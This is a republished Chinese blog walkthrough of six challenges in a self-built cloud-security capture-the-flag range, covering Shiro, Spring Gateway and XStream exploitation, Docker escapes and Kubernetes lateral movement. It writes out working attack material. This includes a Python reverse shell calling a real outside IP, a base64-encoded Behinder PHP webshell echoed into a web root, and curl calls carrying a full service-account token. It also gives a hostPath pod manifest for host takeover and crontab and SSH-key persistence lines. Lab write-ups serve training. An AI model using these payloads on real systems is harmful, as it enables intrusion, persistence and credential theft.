云安全: 云安全自建靶场答题记录
2023-11-21 18:8:55 Author: 1oecho.github.io(查看原文) 阅读量:14 收藏

题目一 云之影:Shiro的秘密

题目信息:

  • 命令执行

  • 信息收集

  • 云服务

解题步骤(包含关键步骤截图:)

  1. 端口扫描:
img

2.访问8080端口,指纹识别shiro框架,尝试shiro550 反序列化漏洞

img

存在漏洞,漏洞利用成功,获取webshell:

img
img
img

获取到遗留的配置文件,base64解码:

img

直接访问显示AccesDenied:

img

根据提示猜想,可能设置了权限,只有入口主机能访问,尝试访问,访问成功:

img

Flag2 获取成功:

img

信息收集,查看所有有效用户:

img

查看ubuntu用户的用户文件夹, 发现db_old文件夹:

img
img

发现只有数据库名,没有其他信息:

img

查看用户的.bash_history 发现敏感操作:

img

Base64解码获取到密码:

img

尝试登陆,登陆失败,继续查看.bash_history, 发现另一个端口:

img

登陆成功:

img

获取flag3:

img

题目二 云端回响:Spring的遗憾

题目信息:

Spring 微服务

SDK

腾讯云

解题步骤(包含关键步骤截图:)

端口扫描:

img

访问8080端口, 指纹识别名没有信息:

img

尝试目录扫描 获取到目标存在Spring Actuator 未授权访问漏洞,:

img

访问路径,发现存在gateway,尝试CVE-2022-22947漏洞

img

Github搜索关键字获取工具:

https://github.com/aodsec/CVE-2022-22947

执行成功:

img

反弹shell成功:

img
img

获取第一个flag:

img

信息收集,查看ubuntu用户的.bash_history:

img

执行命令后获取ak和sk:

img

通过cf利用:

配置ak/sk 选择腾讯云

img

接管控制台

img

登陆控制台

查看具体资源,对象存储有资源:

img

查看cloud-2-flag2对象存储获取flag2:

img

查看cloud-3-flag3对象存储获取flag3

img

题目三 云端之影:Docker的双重背叛

题目信息:

Docker 文件管理 逃逸

解题步骤(包含关键步骤截图:)

端口扫描:

img

访问80端口:

img

尝试下主页功能,都是无效功能,目录扫描:

img

存在upload.php,访问尝试, 上传php webshell:

img

冰蝎链接成功,获取Flag1:

img

信息收集发现发现,当前环境为docker环境无k8s集群:

img

CDK信息收集 存在docker.sock 挂载:

img

反弹shell 手工利用

img

挂载宿主机根目录。获取宿主机权限,获取flag2:

img

Docker ps 查看所有容器,发现flag-container-image 镜像的Docker

直接进入对应Docker,获取Flag3

img

题目四 云端之谜:Docker的隐藏秘密

题目信息:

python后门Docker 逃逸

解题步骤(包含关键步骤截图:)

端口扫描:

img

访问8080端口:

img

查看页面源代码:

img

通过路由获取系统备份:

img

代码审计发现,系统存在命令执行后门:

img

列目录获取flag1:

img
img

信息收集,当前环境为单docker,无k8s集群:

img

Python环境不能写webshell,我们直接将CDK下载进去:

img
img
img

收集docker信息 发现存在特权,直接利用特权进行逃逸:

img

手工确认:

img

反弹一个shell来深入利用

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("49.235.104.106",9999));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

img

挂载宿主机硬盘到docker里

mkdir /tmp/mnt

mount /dev/sda1 /tmp/mnt

cd /tmp/mnt

查看宿主根目录,获取flag2

img

因为我们已经获取了宿主机的硬盘权限,直接搜索flag3关键字,即可从宿主机文件系统,读到另一个docker的文件

img

题目五 云端迷宫:Kubernetes之旅

题目信息:

  • RCE

  • K8s

  • ServiceAccount

解题步骤(包含关键步骤截图:)

直接访问:

http://ngrok.xiaomiqiu123.top:43248/

手工测试后,发现是一个无显的命令执行漏洞:

img

随意输入命令,报错获取到绝对路径,可以直接写入webshell:

img

直接echo 写入一个冰蝎马:

echo PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKCWZ1bmN0aW9uIERlY3J5cHQoJGRhdGEpCnsKICAgICRrZXk9ImU0NWUzMjlmZWI1ZDkyNWIiOyAKICAgICRicz0iYmFzZTY0XyIuImRlY29kZSI7CgkkYWZ0ZXI9JGJzKCRkYXRhLiIiKTsKCWZvcigkaT0wOyRpPHN0cmxlbigkYWZ0ZXIpOyRpKyspIHsKICAgIAkkYWZ0ZXJbJGldID0gJGFmdGVyWyRpXV4ka2V5WyRpKzEmMTVdOyAKICAgIH0KICAgIHJldHVybiAkYWZ0ZXI7Cn0KCSRwb3N0PURlY3J5cHQoZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0IikpOwogICAgZXZhbCgkcG9zdCk7Cj8+ | base64 -d > /var/www/html/oooooo.php

连接成功:

img

搜索flag1:

img
img

信息收集, 发现我们目前处于一个k8s的pod当中:

cat /proc/1/cgroup

img

查看env信息

img

我们查看当前pod的服务账户Token:

img

eyJhbGciOiJSUzI1NiIsImtpZCI6InNUSExVVHNuaVBocTN5eU1mWEtlbTdNRUlzLVRhblM5dDhiZmJuSlJ1d1EifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzI5MTA2NjAxLCJpYXQiOjE2OTc1NzA2MDEsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJ3ZWItYXBwLTc3ZmJmNjU3NmItcDR3eGQiLCJ1aWQiOiJlODZiM2I4Zi1iNzlmLTRjMDctODBjZS01Zjk2MmYwOTE0MmQifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6IndlYi1hcHAtc2EiLCJ1aWQiOiJlM2JiOGI4MC02NDk5LTQ1MWItOGZmYi1kNDczMzc0NGQ2MGYifSwid2FybmFmdGVyIjoxNjk3NTc0MjA4fSwibmJmIjoxNjk3NTcwNjAxLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDp3ZWItYXBwLXNhIn0.WtbuPrZpCvttzmBY8BJXzThzBtivxf8GboxNYwpPsMN0XYF5EtA1aGs1hWAWI4zupeV5z-XZWOeulDrkXIB6e1qiMVFvdAZXH6S0O79GlIOd9PwPNgPHDmn3d0Lm1zNFjJN6RVHI50ZvFfZt3W0YuGGnPfEjbX536TWA0DrARV94q976-PtwObjuW-Ef03KRNwTsKCU7x6CoviVidNefwlGmw0w8rkO96dJJqLp97rScy615XkaUrSuT0iHnjXy4iBrXZINcJxSt4SpgKdIdli749YjzN3ivU-iGdbsi6q5S6tehGqAvHJUSdqNOerNhcL0T1eGHcaxBmwAFevzYcA

先获取Service相关信息:

img

我们通过获取到的token 列一下pod:发现存在utility-pod

curl -s -k -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6InNUSExVVHNuaVBocTN5eU1mWEtlbTdNRUlzLVRhblM5dDhiZmJuSlJ1d1EifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzI5MTA2NjAxLCJpYXQiOjE2OTc1NzA2MDEsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJ3ZWItYXBwLTc3ZmJmNjU3NmItcDR3eGQiLCJ1aWQiOiJlODZiM2I4Zi1iNzlmLTRjMDctODBjZS01Zjk2MmYwOTE0MmQifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6IndlYi1hcHAtc2EiLCJ1aWQiOiJlM2JiOGI4MC02NDk5LTQ1MWItOGZmYi1kNDczMzc0NGQ2MGYifSwid2FybmFmdGVyIjoxNjk3NTc0MjA4fSwibmJmIjoxNjk3NTcwNjAxLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDp3ZWItYXBwLXNhIn0.WtbuPrZpCvttzmBY8BJXzThzBtivxf8GboxNYwpPsMN0XYF5EtA1aGs1hWAWI4zupeV5z-XZWOeulDrkXIB6e1qiMVFvdAZXH6S0O79GlIOd9PwPNgPHDmn3d0Lm1zNFjJN6RVHI50ZvFfZt3W0YuGGnPfEjbX536TWA0DrARV94q976-PtwObjuW-Ef03KRNwTsKCU7x6CoviVidNefwlGmw0w8rkO96dJJqLp97rScy615XkaUrSuT0iHnjXy4iBrXZINcJxSt4SpgKdIdli749YjzN3ivU-iGdbsi6q5S6tehGqAvHJUSdqNOerNhcL0T1eGHcaxBmwAFevzYcA" https://10.96.0.1/api/v1/namespaces/default/pods

img

查看下这个pod的详细信息,发现信息:

curl -s -k -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6InNUSExVVHNuaVBocTN5eU1mWEtlbTdNRUlzLVRhblM5dDhiZmJuSlJ1d1EifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzI5MTA2NjAxLCJpYXQiOjE2OTc1NzA2MDEsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJ3ZWItYXBwLTc3ZmJmNjU3NmItcDR3eGQiLCJ1aWQiOiJlODZiM2I4Zi1iNzlmLTRjMDctODBjZS01Zjk2MmYwOTE0MmQifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6IndlYi1hcHAtc2EiLCJ1aWQiOiJlM2JiOGI4MC02NDk5LTQ1MWItOGZmYi1kNDczMzc0NGQ2MGYifSwid2FybmFmdGVyIjoxNjk3NTc0MjA4fSwibmJmIjoxNjk3NTcwNjAxLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDp3ZWItYXBwLXNhIn0.WtbuPrZpCvttzmBY8BJXzThzBtivxf8GboxNYwpPsMN0XYF5EtA1aGs1hWAWI4zupeV5z-XZWOeulDrkXIB6e1qiMVFvdAZXH6S0O79GlIOd9PwPNgPHDmn3d0Lm1zNFjJN6RVHI50ZvFfZt3W0YuGGnPfEjbX536TWA0DrARV94q976-PtwObjuW-Ef03KRNwTsKCU7x6CoviVidNefwlGmw0w8rkO96dJJqLp97rScy615XkaUrSuT0iHnjXy4iBrXZINcJxSt4SpgKdIdli749YjzN3ivU-iGdbsi6q5S6tehGqAvHJUSdqNOerNhcL0T1eGHcaxBmwAFevzYcA" https://10.96.0.1/api/v1/namespaces/default/pods/utility-pod-7bf9988594-x9ls4

img
img

Flag2 和Flag3 都在这个pod里,所以我们的目的就是横向到这个pod

img
  • 下载kubectl到pod中,直接指定信息操作

通过命令指定token以及对应的api的地址,进行远程操控pod.横向到目标pod即可:

cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token

  • 查看POD

kubectl get pods --server=https:// --token=

  • 操作POD:

kubectl exec -it utility-pod bash --server=https:// --token=

img

后续可以继续利用,权限足够的话:

创建特权pod 挂载实体机/ 到 特权pod的 /mnt

  • kubectl apply -f app.yaml bash --server=https:// --token=
apiVersion: v1
kind: Pod
metadata:
  name: app
spec:
  containers:
  - image: nginx
    name: test-container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

进入我们创建的特权token 进/mnt 目录

  • kubectl exec -it app /bin/bash --server=https:// --token=

后渗透:

// 1. 向 crontab 写入反弹 shell 的定时任务
# echo -e "* * * * * root bash -i >& /dev/tcp/x.x.x.x/8888 0>&1\n" >> /mnt/etc/crontab
// 2. 写入SSH公钥直接连接:
echo "ssh-rsa 123" >> /mnt/root/.ssh/authorized_keys

题目六 环环相扣

题目信息:

某个应用的备份文件存在泄漏,泄漏在了COS上,已知信息如下:

服务商: 腾讯云

前缀: backupdata-1318326636

位置:ap-shanghai

文件名:app-pom.xml

Xstream

RCE

Docker

解题步骤(包含关键步骤截图:)

通过题目的提示我们能猜出目标的COS地址:

https://backupdata-1318326636.cos.ap-shanghai.myqcloud.com/

img

根据提示构造下文件名,获取到文件内容,注释包含一个IP,看文件接口是java系统的Mvn的pom.xml文件:

从配置文件获取的 依赖有springBoot以及Xstream

img

端口扫描下注释里的IP地址:

img

访问端口8080:

随便构造一个xml 爆500 猜测可能直接是通过Content-Type来直接解析xml:

img

再搜索下xstream 1.4.15 存在哪些漏洞,获取的信息如下:

img

符合版本的漏洞如下:

XStream 远程代码执行漏洞 CVE-2021-21344 XStream: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21345 XStream: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21346 XStream: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21347 XStream<= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21350 XStream: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21351 XStream: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-29505 XStream: <= 1.4.16

我们尝试了几个,发现CVE-2021-21351 可以利用, 打JNDI 利用链使用spring依赖的

img

通过python3来反弹shell:

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("49.235.104.106",9999));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

反弹成功,获取第二个flag

img

信息收集 本机docker有Flag3:

img

进入docker获取flag3:

img

文章来源: https://1oecho.github.io/2EzGQuE0b/
如有侵权请联系:admin#unsafe.sh